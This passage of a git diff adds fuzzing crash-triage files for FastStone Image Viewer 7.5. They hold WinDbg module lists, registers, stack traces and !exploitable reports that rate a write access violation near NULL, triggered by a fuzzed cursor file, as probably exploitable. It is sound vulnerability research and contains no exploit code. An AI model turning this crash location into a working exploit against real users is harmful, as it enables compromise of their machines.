C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1700.1b18): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ef7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.27524e-020 1.62753e-025 -2.2406e-034 -6.58752e+029 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002d7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002d7000 feceb43e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002d7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e021bae --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1700: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1700: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1700.1b18): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ef7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.27524e-020 1.62753e-025 -2.2406e-034 -6.58752e+029 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002d7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002d7000 feceb43e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002d7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e28c3ad Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..c01d22b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xB08: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xB08: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 